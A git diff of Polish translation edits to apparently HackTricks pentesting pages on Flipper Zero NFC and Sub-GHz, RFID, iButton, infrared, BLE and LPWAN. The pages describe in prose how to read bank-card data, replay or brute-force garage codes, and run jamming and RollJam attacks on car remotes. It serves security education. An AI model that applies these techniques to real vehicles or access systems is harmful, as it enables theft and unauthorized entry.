@@ -52,7 +52,7 @@ Aby uzyskać wprowadzenie do NFC [**przeczytaj tę stronę**](../pentesting-rfid ### Odczyt -Flipper Zero może **odczytywać karty NFC**, jednak **nie rozumie wszystkich protokołów** opartych na ISO 14443. Ponieważ **UID jest atrybutem niskiego poziomu**, możesz znaleźć się w sytuacji, gdy **UID jest już odczytany, ale protokół transferu danych na wyższym poziomie jest nadal nieznany**. Możesz odczytać, emulować i ręcznie wprowadzić UID za pomocą Flippera dla prymitywnych czytników, które używają UID do autoryzacji. +Flipper Zero może **odczytywać karty NFC**, jednak **nie rozumie wszystkich protokołów** opartych na ISO 14443. Ponieważ **UID jest atrybutem niskiego poziomu**, możesz znaleźć się w sytuacji, gdy **UID jest już odczytany, ale protokół transferu danych na wyższym poziomie jest nadal nieznany**. Możesz odczytać, emulować i ręcznie wprowadzić UID, używając Flippera dla prymitywnych czytników, które używają UID do autoryzacji. #### Odczyt UID VS Odczyt Danych Wewnątrz @@ -61,7 +61,7 @@ Flipper Zero może **odczytywać karty NFC**, jednak **nie rozumie wszystkich pr W Flipperze odczyt tagów 13.56 MHz można podzielić na dwie części: - **Odczyt niskiego poziomu** — odczytuje tylko UID, SAK i ATQA. Flipper próbuje zgadnąć protokół na wyższym poziomie na podstawie tych danych odczytanych z karty. Nie możesz być w 100% pewny, ponieważ jest to tylko przypuszczenie oparte na pewnych czynnikach. -- **Odczyt wysokiego poziomu** — odczytuje dane z pamięci karty za pomocą konkretnego protokołu na wyższym poziomie. Oznacza to odczyt danych z Mifare Ultralight, odczyt sektorów z Mifare Classic lub odczyt atrybutów karty z PayPass/Apple Pay. +- **Odczyt wysokiego poziomu** — odczytuje dane z pamięci karty, używając konkretnego protokołu na wyższym poziomie. Oznacza to odczyt danych z Mifare Ultralight, odczyt sektorów z Mifare Classic lub odczyt atrybutów karty z PayPass/Apple Pay. ### Odczyt Specyficzny @@ -69,8 +69,8 @@ W przypadku, gdy Flipper Zero nie jest w stanie znaleźć typu karty na podstawi #### Karty Bankowe EMV (PayPass, payWave, Apple Pay, Google Pay) -Oprócz prostego odczytu UID, możesz wyodrębnić znacznie więcej danych z karty bankowej. Możliwe jest **uzyskanie pełnego numeru karty** (16 cyfr na przedniej stronie karty), **daty ważności**, a w niektórych przypadkach nawet **nazwy właściciela** wraz z listą **najbardziej recentnych transakcji**.\ -Jednak **nie możesz odczytać CVV w ten sposób** (3 cyfry na odwrocie karty). Również **karty bankowe są chronione przed atakami powtórzeniowymi**, więc skopiowanie ich za pomocą Flippera, a następnie próba emulacji w celu zapłaty za coś, nie zadziała. +Oprócz prostego odczytu UID, możesz wyodrębnić znacznie więcej danych z karty bankowej. Możliwe jest **uzyskanie pełnego numeru karty** (16 cyfr na przedniej stronie karty), **daty ważności**, a w niektórych przypadkach nawet **nazwy właściciela** wraz z listą **najnowszych transakcji**.\ +Jednak **nie możesz odczytać CVV w ten sposób** (3 cyfry na odwrocie karty). Również **karty bankowe są chronione przed atakami powtórzeniowymi**, więc skopiowanie ich za pomocą Flippera, a następnie próba emulacji w celu zapłacenia za coś, nie zadziała. ## Referencje diff --git a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index e8dbde9dc..866629963 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -21,7 +21,7 @@ Flipper Zero ma wbudowany moduł sub-1 GHz oparty na [](https://www.st.com/en > [!NOTE] > Jak znaleźć, która częstotliwość jest używana przez pilot -Podczas analizy Flipper Zero skanuje siłę sygnałów (RSSI) na wszystkich dostępnych częstotliwościach w konfiguracji częstotliwości. Flipper Zero wyświetla częstotliwość z najwyższą wartością RSSI, z siłą sygnału wyższą niż -90 [dBm](https://en.wikipedia.org/wiki/DBm). +Podczas analizy Flipper Zero skanuje siłę sygnału (RSSI) na wszystkich dostępnych częstotliwościach w konfiguracji częstotliwości. Flipper Zero wyświetla częstotliwość z najwyższą wartością RSSI, z siłą sygnału wyższą niż -90 [dBm](https://en.wikipedia.org/wiki/DBm). Aby określić częstotliwość pilota, wykonaj następujące kroki: @@ -37,7 +37,7 @@ Aby określić częstotliwość pilota, wykonaj następujące kroki: Opcja **Read** **nasłuchuje na skonfigurowanej częstotliwości** na wskazanej modulacji: 433.92 AM domyślnie. Jeśli **coś zostanie znalezione** podczas odczytu, **informacje są podawane** na ekranie. Te informacje mogą być użyte do replikacji sygnału w przyszłości. -Podczas korzystania z Read można nacisnąć **lewy przycisk** i **skonfigurować go**.\ +Podczas korzystania z Read, można nacisnąć **lewy przycisk** i **skonfigurować go**.\ W tym momencie ma **4 modulacje** (AM270, AM650, FM328 i FM476) oraz **kilka istotnych częstotliwości** zapisanych:
@@ -54,7 +54,7 @@ Możesz ustawić **dowolną, która Cię interesuje**, jednak jeśli **nie jeste Opcja **Read Raw** **rejestruje sygnały** wysyłane na nasłuchiwanej częstotliwości. Może to być użyte do **skopiowania** sygnału i **powtórzenia** go. -Domyślnie **Read Raw jest również na 433.92 w AM650**, ale jeśli przy użyciu opcji Read odkryłeś, że sygnał, który Cię interesuje, jest na **innej częstotliwości/modulacji, możesz to również zmodyfikować** naciskając lewy przycisk (gdy jesteś w opcji Read Raw). +Domyślnie **Read Raw jest również na 433.92 w AM650**, ale jeśli przy użyciu opcji Read odkryłeś, że interesujący Cię sygnał jest na **innej częstotliwości/modulacji, możesz to również zmodyfikować** naciskając lewy przycisk (będąc w opcji Read Raw). ### Brute-Force @@ -67,22 +67,22 @@ Jeśli znasz protokół używany na przykład przez bramę garażową, możliwe #### Lista [obsługiwanych protokołów](https://docs.flipperzero.one/sub-ghz/add-new-remote) -| Princeton_433 (działa z większością systemów statycznych) | 433.92 | Statyczny | -| ---------------------------------------------------------- | ------ | --------- | -| Nice Flo 12bit_433 | 433.92 | Statyczny | -| Nice Flo 24bit_433 | 433.92 | Statyczny | -| CAME 12bit_433 | 433.92 | Statyczny | -| CAME 24bit_433 | 433.92 | Statyczny | -| Linear_300 | 300.00 | Statyczny | -| CAME TWEE | 433.92 | Statyczny | -| Gate TX_433 | 433.92 | Statyczny | -| DoorHan_315 | 315.00 | Dynamiczny | -| DoorHan_433 | 433.92 | Dynamiczny | -| LiftMaster_315 | 315.00 | Dynamiczny | -| LiftMaster_390 | 390.00 | Dynamiczny | -| Security+2.0_310 | 310.00 | Dynamiczny | -| Security+2.0_315 | 315.00 | Dynamiczny | -| Security+2.0_390 | 390.00 | Dynamiczny | +| Princeton_433 (działa z większością systemów kodów statycznych) | 433.92 | Statyczny | +| -------------------------------------------------------------- | ------ | ------- | +| Nice Flo 12bit_433 | 433.92 | Statyczny | +| Nice Flo 24bit_433 | 433.92 | Statyczny | +| CAME 12bit_433 | 433.92 | Statyczny | +| CAME 24bit_433 | 433.92 | Statyczny | +| Linear_300 | 300.00 | Statyczny | +| CAME TWEE | 433.92 | Statyczny | +| Gate TX_433 | 433.92 | Statyczny | +| DoorHan_315 | 315.00 | Dynamiczny | +| DoorHan_433 | 433.92 | Dynamiczny | +| LiftMaster_315 | 315.00 | Dynamiczny | +| LiftMaster_390 | 390.00 | Dynamiczny | +| Security+2.0_310 | 310.00 | Dynamiczny | +| Security+2.0_315 | 315.00 | Dynamiczny | +| Security+2.0_390 | 390.00 | Dynamiczny | ### Obsługiwani dostawcy Sub-GHz diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index bca93d600..57ddc4423 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -4,7 +4,7 @@ ## Wprowadzenie -iButton to ogólna nazwa elektronicznego klucza identyfikacyjnego zapakowanego w **metalowy pojemnik w kształcie monety**. Nazywany jest również **Dallas Touch** Memory lub pamięcią kontaktową. Chociaż często błędnie określa się go jako klucz „magnetyczny”, nie ma w nim **nic magnetycznego**. W rzeczywistości wewnątrz ukryty jest pełnoprawny **mikrochip** działający na protokole cyfrowym. +iButton to ogólna nazwa elektronicznego klucza identyfikacyjnego zapakowanego w **metalowy pojemnik w kształcie monety**. Nazywany jest również **Dallas Touch** Memory lub pamięcią kontaktową. Chociaż często błędnie określany jako klucz „magnetyczny”, nie ma w nim **nic magnetycznego**. W rzeczywistości wewnątrz ukryty jest pełnoprawny **mikrochip** działający na protokole cyfrowym.
@@ -14,7 +14,7 @@ Zazwyczaj iButton odnosi się do fizycznej formy klucza i czytnika - okrągłej
-Gdy klucz dotrze do czytnika, **styki stykają się** i klucz jest zasilany, aby **przesłać** swoje ID. Czasami klucz **nie jest odczytywany** od razu, ponieważ **PSD styku interkomu jest większy** niż powinien być. W takim przypadku zewnętrzne kontury klucza i czytnika nie mogły się dotknąć. Jeśli tak się stanie, będziesz musiał przycisnąć klucz do jednej ze ścianek czytnika. +Gdy klucz dotrze do czytnika, **styki stykają się** i klucz jest zasilany, aby **przesłać** swoje ID. Czasami klucz **nie jest odczytywany** od razu, ponieważ **PSD styku domofonu jest większy** niż powinien być. W takim przypadku zewnętrzne kontury klucza i czytnika nie mogły się dotknąć. Jeśli tak się stanie, będziesz musiał przycisnąć klucz do jednej ze ścianek czytnika.
@@ -22,7 +22,7 @@ Gdy klucz dotrze do czytnika, **styki stykają się** i klucz jest zasilany, aby Klucze Dallas wymieniają dane za pomocą protokołu 1-wire. Z tylko jednym stykiem do transferu danych (!!) w obu kierunkach, od mastera do slave'a i odwrotnie. Protokół 1-wire działa zgodnie z modelem Master-Slave. W tej topologii Master zawsze inicjuje komunikację, a Slave podąża za jego instrukcjami. -Gdy klucz (Slave) kontaktuje się z interkomem (Master), chip wewnątrz klucza włącza się, zasilany przez interkom, a klucz jest inicjowany. Następnie interkom żąda ID klucza. Następnie przyjrzymy się temu procesowi bardziej szczegółowo. +Gdy klucz (Slave) kontaktuje się z domofonem (Master), chip wewnątrz klucza włącza się, zasilany przez domofon, a klucz jest inicjowany. Następnie domofon żąda ID klucza. Następnie przyjrzymy się temu procesowi bardziej szczegółowo. Flipper może działać zarówno w trybie Master, jak i Slave. W trybie odczytu klucza Flipper działa jako czytnik, to znaczy działa jako Master. A w trybie emulacji klucza, flipper udaje klucz, jest w trybie Slave. diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index 986f59a8e..d081170ae 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -32,7 +32,7 @@ Bity są kodowane przez modulację szerokości impulsu. Szerokość przestrzeni **3. Kodowanie fazowe** -Jest również znane jako kodowanie Manchester. Wartość logiczna jest definiowana przez polaryzację przejścia między wybuchem impulsu a przestrzenią. "Przestrzeń do wybuchu impulsu" oznacza logikę "0", "wybuch impulsu do przestrzeni" oznacza logikę "1". +Znane również jako kodowanie Manchester. Wartość logiczna jest definiowana przez polaryzację przejścia między wybuchem impulsu a przestrzenią. "Przestrzeń do wybuchu impulsu" oznacza logikę "0", "wybuch impulsu do przestrzeni" oznacza logikę "1".
@@ -41,11 +41,11 @@ Jest również znane jako kodowanie Manchester. Wartość logiczna jest definiow > [!NOTE] > Istnieją protokoły IR, które **próbują stać się uniwersalne** dla kilku typów urządzeń. Najbardziej znane to RC5 i NEC. Niestety, najbardziej znane **nie oznacza najbardziej powszechne**. W moim otoczeniu spotkałem tylko dwa piloty NEC i żadnego RC5. > -> Producenci uwielbiają używać swoich unikalnych protokołów IR, nawet w obrębie tej samej grupy urządzeń (na przykład, dekodery TV). Dlatego piloty z różnych firm, a czasem z różnych modeli tej samej firmy, nie są w stanie współpracować z innymi urządzeniami tego samego typu. +> Producenci uwielbiają używać swoich unikalnych protokołów IR, nawet w obrębie tej samej grupy urządzeń (na przykład, dekodery TV). Dlatego piloty z różnych firm, a czasami z różnych modeli tej samej firmy, nie są w stanie współpracować z innymi urządzeniami tego samego typu. ### Badanie sygnału IR -Najbardziej niezawodnym sposobem na zobaczenie, jak wygląda sygnał IR z pilota, jest użycie oscyloskopu. Nie demoduluje ani nie odwraca odebranego sygnału, jest po prostu wyświetlany "tak jak jest". To jest przydatne do testowania i debugowania. Pokażę oczekiwany sygnał na przykładzie protokołu IR NEC. +Najbardziej niezawodnym sposobem na zobaczenie, jak wygląda sygnał IR pilota, jest użycie oscyloskopu. Nie demoduluje ani nie odwraca odebranego sygnału, jest po prostu wyświetlany "tak jak jest". To jest przydatne do testowania i debugowania. Pokażę oczekiwany sygnał na przykładzie protokołu IR NEC.
diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md index 0e75dda37..4b197dcba 100644 --- a/src/todo/radio-hacking/low-power-wide-area-network.md +++ b/src/todo/radio-hacking/low-power-wide-area-network.md @@ -4,8 +4,8 @@ ## Wprowadzenie -**Low-Power Wide Area Network** (LPWAN) to grupa technologii bezprzewodowych, niskoprądowych, szerokopasmowych zaprojektowanych do **długozasięgowej komunikacji** przy niskiej przepustowości.\ -Mogą osiągać więcej niż **sześć mil** a ich **baterie** mogą działać do **20 lat**. +**Low-Power Wide Area Network** (LPWAN) to grupa technologii bezprzewodowych, niskonapięciowych, szerokopasmowych zaprojektowanych do **komunikacji na dużą odległość** przy niskiej przepustowości.\ +Mogą osiągać więcej niż **sześć mil**, a ich **baterie** mogą działać do **20 lat**. Long Range (**LoRa**) jest popularny w wielu krajach i ma otwartą specyfikację nazwaną **LoRaWAN**. diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md index 3eaa7fbfa..f0f9365bf 100644 --- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -16,7 +16,7 @@ Bajt preambuły synchronizuje częstotliwość, podczas gdy czterobajtowy adres ### GATT -**Ogólny Profil Atrybutów** (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Gdy analizujesz powierzchnię ataku urządzenia BLE, często skupiasz swoją uwagę na GATT (lub GATTach), ponieważ to w ten sposób **wywoływana jest funkcjonalność urządzenia** i jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Cechą** jest **wartość danych** **wysyłana** między urządzeniem centralnym a peryferyjnym. Te cechy mogą mieć **deskryptory**, które **dostarczają dodatkowe informacje na ich temat**. **Cechy** są często **grupowane** w **usługi**, jeśli są związane z wykonywaniem określonej akcji. +**Ogólny Profil Atrybutów** (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Gdy analizujesz powierzchnię ataku urządzenia BLE, często skupiasz swoją uwagę na GATT (lub GATTach), ponieważ to w ten sposób **wywoływana jest funkcjonalność urządzenia** i jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Cechą** jest **wartość danych** **wysyłana** między urządzeniem centralnym a peryferyjnym. Te cechy mogą mieć **deskryptory**, które **dostarczają dodatkowe informacje o nich**. **Cechy** są często **grupowane** w **usługi**, jeśli są związane z wykonywaniem określonej akcji. ## Enumeracja ```bash diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index a6993539d..e0f7138f8 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -4,19 +4,19 @@ ## Wprowadzenie -**Radio Frequency Identification (RFID)** to najpopularniejsze rozwiązanie radiowe krótkiego zasięgu. Zwykle jest używane do przechowywania i przesyłania informacji identyfikujących podmiot. +**Identyfikacja radiowa (RFID)** to najpopularniejsze rozwiązanie radiowe krótkiego zasięgu. Zwykle jest używane do przechowywania i przesyłania informacji, które identyfikują podmiot. Tag RFID może polegać na **własnym źródle zasilania (aktywnym)**, takim jak wbudowana bateria, lub otrzymywać zasilanie z anteny odczytującej, wykorzystując prąd **indukowany z odebranych fal radiowych** (**pasywny**). ### Klasy -EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go wstecznie kompatybilnym. +EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go kompatybilnym wstecz. - Tagi **Klasy 0** to **pasywne** tagi działające w pasmach **UHF**. Producent **wstępnie programuje** je w fabryce. W rezultacie **nie można zmienić** informacji przechowywanych w ich pamięci. -- Tagi **Klasy 1** mogą również działać w pasmach **HF**. Dodatkowo mogą być **zapisywane tylko raz** po produkcji. Wiele tagów Klasy 1 może również przetwarzać **cykliczne sumy kontrolne** (CRC) poleceń, które otrzymują. CRC to kilka dodatkowych bajtów na końcu poleceń do wykrywania błędów. +- Tagi **Klasy 1** mogą również działać w pasmach **HF**. Ponadto mogą być **zapisywane tylko raz** po produkcji. Wiele tagów Klasy 1 może również przetwarzać **cykliczne sumy kontrolne** (CRC) poleceń, które otrzymują. CRC to kilka dodatkowych bajtów na końcu poleceń do wykrywania błędów. - Tagi **Klasy 2** mogą być **zapisywane wielokrotnie**. - Tagi **Klasy 3** mogą zawierać **wbudowane czujniki**, które mogą rejestrować parametry środowiskowe, takie jak aktualna temperatura lub ruch tagu. Tagi te są **półpasywne**, ponieważ chociaż **mają** wbudowane źródło zasilania, takie jak zintegrowana **bateria**, **nie mogą inicjować** bezprzewodowej **komunikacji** z innymi tagami lub czytnikami. -- Tagi **Klasy 4** mogą inicjować komunikację z innymi tagami tej samej klasy, co czyni je **aktywnymi tagami**. +- Tagi **Klasy 4** mogą inicjować komunikację z innymi tagami tej samej klasy, co czyni je **tagami aktywnymi**. - Tagi **Klasy 5** mogą dostarczać **zasilanie innym tagom i komunikować się ze wszystkimi poprzednimi klasami tagów**. Tagi Klasy 5 mogą działać jako **czytniki RFID**. ### Informacje przechowywane w tagach RFID @@ -33,9 +33,9 @@ Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ogranicza ## Tagi RFID niskiej częstotliwości (125 kHz) -**Tagi niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie na siłownię itp. Dzięki większemu zasięgowi są wygodne w użyciu do płatnych parkingów: kierowca nie musi zbliżać karty do czytnika, ponieważ jest aktywowana z większej odległości. Jednocześnie tagi niskiej częstotliwości są bardzo prymitywne, mają niski wskaźnik transferu danych. Z tego powodu niemożliwe jest wdrożenie złożonego dwukierunkowego transferu danych, na przykład do utrzymywania salda i kryptografii. Tagi niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniających. +**Tagi niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie na siłownię itp. Dzięki wyższemu zasięgowi są wygodne w użyciu do płatnych parkingów: kierowca nie musi zbliżać karty do czytnika, ponieważ jest aktywowana z większej odległości. Jednocześnie tagi niskiej częstotliwości są bardzo prymitywne, mają niski wskaźnik transferu danych. Z tego powodu niemożliwe jest wdrożenie złożonego dwukierunkowego transferu danych, na przykład do utrzymywania salda i kryptografii. Tagi niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniających. -Urządzenia te polegają na technologii **pasywnego** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz: +Urządzenia te polegają na technologii **pasywnej** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz: - **Długi zasięg** — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do metra. Często są używane na parkingach. - **Prymitywny protokół** — z powodu niskiego wskaźnika transferu danych te tagi mogą przesyłać tylko swoje krótkie ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Gdy karta znajduje się w zasięgu czytnika, po prostu zaczyna przesyłać swoje ID. @@ -62,7 +62,7 @@ flipper-zero/fz-125khz-rfid.md **Tagi wysokiej częstotliwości** są używane do bardziej złożonej interakcji między czytnikiem a tagiem, gdy potrzebna jest kryptografia, duży dwukierunkowy transfer danych, uwierzytelnianie itp.\ Zwykle występują w kartach bankowych, transporcie publicznym i innych zabezpieczonych przepustkach. -**Tagi wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokoły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **Near Field Communication (NFC)**, termin dla urządzeń działających na częstotliwości 13.56 MHz. +**Tagi wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokóły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **Komunikacja w Bliskim Zasięgu (NFC)**, termin dla urządzeń działających na częstotliwości 13.56 MHz.
@@ -70,9 +70,9 @@ Mówiąc prosto, architektura NFC działa w ten sposób: protokół transmisji j Flipper może współdziałać zarówno z niskopoziomowym protokołem ISO 14443, jak i protokołem transferu danych Mifare Ultralight oraz EMV używanym w kartach bankowych. Pracujemy nad dodaniem wsparcia dla Mifare Classic i NFC NDEF. Dokładne spojrzenie na protokoły i standardy, które tworzą NFC, zasługuje na osobny artykuł, który planujemy opublikować później. -Wszystkie karty wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jako numer seryjny karty, jak adres MAC karty sieciowej. **Zwykle UID ma długość 4 lub 7 bajtów**, ale rzadko może sięgać **do 10**. UIDs nie są tajne i są łatwe do odczytania, **czasami nawet wydrukowane na samej karcie**. +Wszystkie karty wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jako numer seryjny karty, jak adres MAC karty sieciowej. **Zwykle UID ma długość 4 lub 7 bajtów**, ale rzadko może wynosić **do 10**. UID nie jest tajemnicą i jest łatwo odczytywalny, **czasami nawet wydrukowany na samej karcie**. -Istnieje wiele systemów kontroli dostępu, które polegają na UID do **uwierzytelniania i przyznawania dostępu**. Czasami dzieje się to **nawet** wtedy, gdy tagi RFID **obsługują kryptografię**. Tego rodzaju **niewłaściwe użycie** obniża je do poziomu głupich **kart 125 kHz** pod względem **bezpieczeństwa**. Wirtualne karty (takie jak Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie mogli otwierać drzwi za pomocą swojej aplikacji płatniczej. +Istnieje wiele systemów kontroli dostępu, które polegają na UID do **uwierzytelniania i przyznawania dostępu**. Czasami dzieje się to **nawet** wtedy, gdy tagi RFID **obsługują kryptografię**. Tego rodzaju **niewłaściwe użycie** obniża je do poziomu głupich **kart 125 kHz** pod względem **bezpieczeństwa**. Wirtualne karty (jak Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie mogli otwierać drzwi za pomocą swojej aplikacji płatniczej. - **Niski zasięg** — karty wysokiej częstotliwości są specjalnie zaprojektowane tak, aby musiały być umieszczane blisko czytnika. To również pomaga chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, a to było z niestandardowymi czytnikami o dużym zasięgu. - **Zaawansowane protokoły** — prędkości transferu danych do 424 kbps pozwalają na złożone protokoły z pełnoprawnym dwukierunkowym transferem danych. Co z kolei **umożliwia kryptografię**, transfer danych itp. diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index 7f84c38fe..cc52649b4 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -27,7 +27,7 @@ Co więcej, używając sekwencji De Bruijn (sposób na zmniejszenie liczby bitó Przykład tego ataku został zaimplementowany w [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) -Wymaganie **preambuły unika optymalizacji sekwencji De Bruijn** i **kody zmienne będą zapobiegać temu atakowi** (zakładając, że kod jest wystarczająco długi, aby nie można go było złamać). +Wymaganie **preambuły unika optymalizacji sekwencji De Bruijn** a **kody zmienne zapobiegają temu atakowi** (zakładając, że kod jest wystarczająco długi, aby nie można go było złamać). ## Atak Sub-GHz @@ -41,19 +41,19 @@ flipper-zero/fz-sub-ghz.md Automatyczne otwieracze do drzwi garażowych zazwyczaj używają bezprzewodowego pilota do otwierania i zamykania drzwi garażowych. Pilot **wysyła sygnał radiowy (RF)** do otwieracza drzwi garażowych, który aktywuje silnik do otwarcia lub zamknięcia drzwi. -Możliwe jest, że ktoś użyje urządzenia znanego jako code grabber, aby przechwycić sygnał RF i nagrać go do późniejszego użycia. To jest znane jako **atak powtórzeniowy**. Aby zapobiec tego typu atakowi, wiele nowoczesnych otwieraczy do drzwi garażowych używa bardziej bezpiecznej metody szyfrowania znanej jako system **kodów zmiennych**. +Możliwe jest, aby ktoś użył urządzenia znanego jako code grabber do przechwycenia sygnału RF i nagrania go do późniejszego użycia. Jest to znane jako **atak powtórzeniowy**. Aby zapobiec tego typu atakowi, wiele nowoczesnych otwieraczy do drzwi garażowych używa bardziej bezpiecznej metody szyfrowania znanej jako system **kodów zmiennych**. **Sygnał RF jest zazwyczaj przesyłany za pomocą kodu zmiennego**, co oznacza, że kod zmienia się przy każdym użyciu. To sprawia, że **przechwycenie** sygnału i **użycie** go do uzyskania **nieautoryzowanego** dostępu do garażu jest **trudne**. -W systemie kodów zmiennych pilot i otwieracz do drzwi garażowych mają **wspólny algorytm**, który **generuje nowy kod** za każdym razem, gdy pilot jest używany. Otwieracz do drzwi garażowych zareaguje tylko na **prawidłowy kod**, co znacznie utrudnia uzyskanie nieautoryzowanego dostępu do garażu tylko poprzez przechwycenie kodu. +W systemie kodów zmiennych pilot i otwieracz do drzwi garażowych mają **wspólny algorytm**, który **generuje nowy kod** za każdym razem, gdy pilot jest używany. Otwieracz do drzwi garażowych odpowiada tylko na **prawidłowy kod**, co znacznie utrudnia uzyskanie nieautoryzowanego dostępu do garażu tylko poprzez przechwycenie kodu. ### **Atak Braku Łącza** W zasadzie nasłuchujesz przycisku i **przechwytujesz sygnał, gdy pilot jest poza zasięgiem** urządzenia (powiedzmy samochodu lub garażu). Następnie przechodzisz do urządzenia i **używasz przechwyconego kodu, aby je otworzyć**. -### Atak Jamming Pełnego Łącza +### Atak Zakłócania Pełnego Łącza -Napastnik mógłby **zakłócić sygnał w pobliżu pojazdu lub odbiornika**, aby **odbiornik nie mógł faktycznie „usłyszeć” kodu**, a gdy to się dzieje, możesz po prostu **przechwycić i powtórzyć** kod, gdy przestaniesz zakłócać. +Napastnik mógłby **zakłócać sygnał w pobliżu pojazdu lub odbiornika**, aby **odbiornik nie mógł faktycznie „usłyszeć” kodu**, a gdy to się dzieje, możesz po prostu **przechwycić i powtórzyć** kod, gdy przestaniesz zakłócać. Ofiara w pewnym momencie użyje **kluczy do zablokowania samochodu**, ale atakujący **nagrał wystarczająco dużo kodów „zamknij drzwi”**, które mam nadzieję można będzie ponownie wysłać, aby otworzyć drzwi (może być potrzebna **zmiana częstotliwości**, ponieważ są samochody, które używają tych samych kodów do otwierania i zamykania, ale nasłuchują obu poleceń na różnych częstotliwościach). @@ -62,8 +62,8 @@ Ofiara w pewnym momencie użyje **kluczy do zablokowania samochodu**, ale atakuj ### **Atak Przechwytywania Kodów (aka ‘RollJam’)** -To jest bardziej **technika zakłócania w ukryciu**. Napastnik zakłóci sygnał, więc gdy ofiara spróbuje zablokować drzwi, to nie zadziała, ale napastnik **nagra ten kod**. Następnie ofiara **spróbuje ponownie zablokować samochód**, naciskając przycisk, a samochód **nagra ten drugi kod**.\ -Natychmiast po tym **napastnik może wysłać pierwszy kod**, a **samochód się zablokuje** (ofiara pomyśli, że drugi przycisk go zamknął). Następnie napastnik będzie mógł **wysłać drugi skradziony kod, aby otworzyć** samochód (zakładając, że **kod „zamknij samochód” może być również użyty do otwarcia**). Może być potrzebna zmiana częstotliwości (ponieważ są samochody, które używają tych samych kodów do otwierania i zamykania, ale nasłuchują obu poleceń na różnych częstotliwościach). +To bardziej **ukryta technika zakłócania**. Napastnik zakłóca sygnał, więc gdy ofiara próbuje zablokować drzwi, to nie działa, ale napastnik **nagra ten kod**. Następnie ofiara **spróbuje ponownie zablokować samochód**, naciskając przycisk, a samochód **nagra ten drugi kod**.\ +Natychmiast po tym **napastnik może wysłać pierwszy kod** i **samochód się zablokuje** (ofiara pomyśli, że drugi nacisk go zamknął). Następnie napastnik będzie mógł **wysłać drugi skradziony kod, aby otworzyć** samochód (zakładając, że **kod „zamknij samochód” może być również użyty do jego otwarcia**). Może być potrzebna zmiana częstotliwości (ponieważ są samochody, które używają tych samych kodów do otwierania i zamykania, ale nasłuchują obu poleceń na różnych częstotliwościach). Napastnik może **zakłócać odbiornik samochodu, a nie swój odbiornik**, ponieważ jeśli odbiornik samochodu nasłuchuje na przykład w szerokim paśmie 1 MHz, napastnik nie **zakłóci** dokładnej częstotliwości używanej przez pilot, ale **bliską w tym spektrum**, podczas gdy **odbiornik napastnika będzie nasłuchiwał w mniejszym zakresie**, gdzie może usłyszeć sygnał pilota **bez sygnału zakłócającego**. @@ -73,9 +73,9 @@ Napastnik może **zakłócać odbiornik 